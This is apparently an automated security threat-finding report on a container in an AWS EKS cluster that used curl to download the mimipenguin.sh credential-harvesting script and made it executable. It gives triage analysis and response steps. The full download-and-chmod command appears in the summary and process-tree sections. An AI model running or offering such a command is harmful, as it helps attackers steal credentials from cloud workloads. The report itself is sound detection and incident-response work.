Threat Finding

CurlWgetMalwareDownload - T1105 (Ingress Tool Transfer)
Priority
P1
Severity
High
ID
ind:cadc29f6...26-290463760
Assignee
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Status
Open
Resolution
Unresolved
Recommendation
Needs Investigation
Confidence
Medium
Data Source
CrowdStrike
Finding Source
EPP
Account
b4b6de522a60...b3bc57cb73e)
Exaforce Tags
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EPP Summary

Container process executed curl command to download mimipenguin.sh credential harvesting tool from GitHub repository deveshmi/deveshnothing, saving it as /tmp/suspicious.sh with executable permissions on EKS worker node ip-10-1-0-68.us-east-2.compute.internal. This finding is part of a composite group.
Exabot Detect
Conclusion
Needs Investigation
Medium Confidence
This finding requires investigation despite environmental names suggesting testing activity. The download of mimipenguin.sh credential harvesting tool on EKS node ip-10-1-0-68.us-east-2.compute.internal within container 12990cb7757b3867a47d660b2f4ea2e3a7439b05e9c2d4fbeb32316b93182e2e poses significant security risk. While names like deveshnothing repository and suspicious.sh filename along with demo-eks environment may suggest intentional testing, credential harvesting tools require verification of authorization. The process tree shows runc container execution with curl downloading and chmod making executable a tool capable of extracting credentials from system memory.

CrowdStrike detected a download of mimipenguin.sh credential harvesting tool on EKS worker node ip-10-1-0-68.us-east-2.compute.internal within container 12990cb7757b3867a47d660b2f4ea2e3a7439b05e9c2d4fbeb32316b93182e2e. The process executed curl -s https://github.com/deveshmi/deveshnothing/blob/master/mimipenguin.sh -o /tmp/suspicious.sh and made it executable with chmod +x. While this occurred in a demo-eks environment, the credential harvesting capability presents significant security risk requiring immediate investigation.

  • Principal Analysis: No human user identity is associated with this finding. The principal is container 12990cb7757b3867a47d660b2f4ea2e3a7439b05e9c2d4fbeb32316b93182e2e running on AWS EC2 instance i-0636351eed78b1e99 within the Kubernetes cluster. The instance operates under IAM role demo-a-56c2-eks-node-group-20250605113712153800000003 with standard EKS worker node permissions including AmazonEKSWorkerNodePolicy, AmazonEKS_CNI_Policy, and AmazonEC2ContainerRegistryReadOnly. The absence of user context makes it difficult to attribute this activity to a specific individual. While environmental context might suggest a demo or testing environment, this analysis ignores such naming conventions as they could be intentionally misleading if used by an attacker.
  • Actor Analysis: The action originates from IP address 52.14.244.69 (external) which resolves to AWS infrastructure in Columbus, US under AS16509 Amazon. This IP appears in numerous legitimate Exaforce employee activities across Google Workspace, Okta, GitHub, and Azure services, suggesting it's a common gateway or NAT endpoint for organizational traffic. While this location is consistent with legitimate AWS us-east-2 region infrastructure, the activity itself - downloading credential harvesting tools - is concerning regardless of the source location. No specific human actor is identified in the provided data.
  • Location Analysis: The source location 52.14.244.69 is associated with AWS infrastructure in Columbus, US (AS16509 AMAZON-02). This IP appears extensively in legitimate user activities within the organization across multiple services, indicating it likely serves as a shared NAT gateway or proxy for company traffic. There's no indication of VPN usage or suspicious travel patterns as this represents infrastructure rather than user-based activity. The local IP 10.1.0.68 is consistent with internal AWS VPC addressing. The location analysis doesn't reveal any anomalies, as it's expected for an AWS EKS cluster to use AWS infrastructure IP addressing. However, location consistency doesn't mitigate the risk of the actual activity observed.
  • Device Analysis: The device is an AWS EC2 r7g.xlarge instance (i-0636351eed78b1e99) running Bottlerocket 1.40.0, Amazon's container-optimized Linux distribution. It's properly configured as an EKS worker node with appropriate tags and is running CrowdStrike agent version 7.21.17405.0. Device policies show prevention policy is applied but policy_disabled is true, meaning the malicious process would have been terminated if prevention was enabled. The server-class hardware and container-optimized OS are appropriate for Kubernetes workloads. Multiple network interfaces are configured for pod networking as expected in EKS environments. This analysis deliberately ignores the demo-eks naming convention that might suggest a testing environment, as attackers could exploit such perceptions.
  • Process Tree: The process execution chain shows: runc container runtime executing runc init, which spawns dash shell, which then executes curl download utility. The specific command executed was: sh -c curl -s https://github.com/deveshmi/deveshnothing/blob/master/mimipenguin.sh -o /tmp/suspicious.sh && chmod +x /tmp/suspicious.sh. This downloads mimipenguin.sh script and makes it executable. Process IDs show a coordinated execution suggesting an automated sequence rather than interactive user activity. The use of -s (silent) flag with curl suggests an attempt to minimize logging or visibility of the download activity. The process tree appears typical for container operations, but the commands being executed represent a security risk regardless of the environment.
  • File Analysis: The primary concern is downloading mimipenguin.sh, a well-known credential harvesting tool designed to extract passwords from Linux system memory. The file is saved as /tmp/suspicious.sh with executable permissions. VirusTotal analysis shows the dash binary (SHA256: 3f46a1b98929f663095c22b6874e5e8d06c7fdbfc784829084f0c8e5b08287ef) has 0 malicious detections out of 63 engines, indicating the shell binary itself is legitimate. However, the mimipenguin.sh script poses significant risk as it can extract credentials from memory, SSH keys, and browser passwords. The chmod +x command indicates clear intent to execute the harvesting tool. Regardless of environment context, this represents introduction of a potentially harmful capability that requires verification of authorization.
  • Action Analysis: The detected action involves downloading and preparing to execute a credential harvesting tool, mapping to MITRE ATT&CK technique T1105 Ingress Tool Transfer under Command and Control tactic. Specific actions include: using curl to download mimipenguin.sh from GitHub, saving the file as /tmp/suspicious.sh, and making it executable with chmod +x. The silent download using -s flag suggests attempt to minimize logging. This represents clear preparation for credential theft, which could lead to unauthorized access to container secrets, service account tokens, or other sensitive credentials in the Kubernetes environment. Even if intended for testing purposes, the introduction of actual credential harvesting tools into any environment requires proper authorization and controls.
  • Behavioral Analysis: The behavioral pattern shows characteristics that could indicate either testing or malicious activity. The analysis deliberately ignores naming patterns like deveshnothing repository and suspicious.sh filename that might suggest testing activity, as these could be intentionally misleading. The download and preparation of a credential harvesting tool represents a genuine security risk regardless of environment or intent. The lack of human user association and container-based execution suggest either automated testing or a compromised container. Previous findings on this same resource show a pattern of security testing activities, including EICAR test files, but the presence of actual credential harvesting tools represents a more significant risk vector that requires verification of authorization status.
  • Prioritization Analysis: Priority level P1 (high) is assigned based on the high severity (4) of downloading credential harvesting tools, recommendation for investigation, and potential security impact. While environmental naming might suggest testing activity, the real capability of mimipenguin to extract credentials from system memory creates substantial risk. The container environment within EKS could provide access to cluster credentials, service account tokens, or other sensitive information. Even if this represents authorized testing, verification is critical to ensure proper containment and prevent credential compromise.
  1. Immediately investigate authorization status of this activity by contacting the security team, DevOps team, or demo-eks environment administrators to determine if this represents authorized security testing, red team exercise, or penetration testing. Check if there is documentation for security testing that includes the use of credential harvesting tools like mimipenguin.sh in this environment. If this is unauthorized, treat it as a potential security incident and initiate incident response procedures. Verify whether the downloaded script was executed after being made executable by examining container logs for subsequent activity.
  2. Contain the potential threat by isolating or terminating container 12990cb7757b3867a47d660b2f4ea2e3a7439b05e9c2d4fbeb32316b93182e2e and examining the downloaded /tmp/suspicious.sh file. Analyze the actual content of the file to confirm it matches known mimipenguin variants. If this was unauthorized activity, investigate how the malicious command was introduced into the container environment - check for compromised images, insecure configurations, or misuse of kubectl exec capabilities. Review Kubernetes logs to identify how this container was deployed and who initiated it. Preserve container state and logs for forensic analysis before termination.
  3. Implement enhanced monitoring for the EKS cluster to detect additional suspicious downloads, credential access attempts, or lateral movement activities. Review and strengthen container security policies to prevent unauthorized tool downloads and execution. Enable CrowdStrike prevention policies that are currently disabled to block such activities automatically. Implement admission controllers like OPA Gatekeeper to prevent running containers with dangerous capabilities or running commands that download known malicious tools. If this was authorized testing, establish proper procedures for security testing activities including advance notification, proper isolation, and thorough clean-up procedures.
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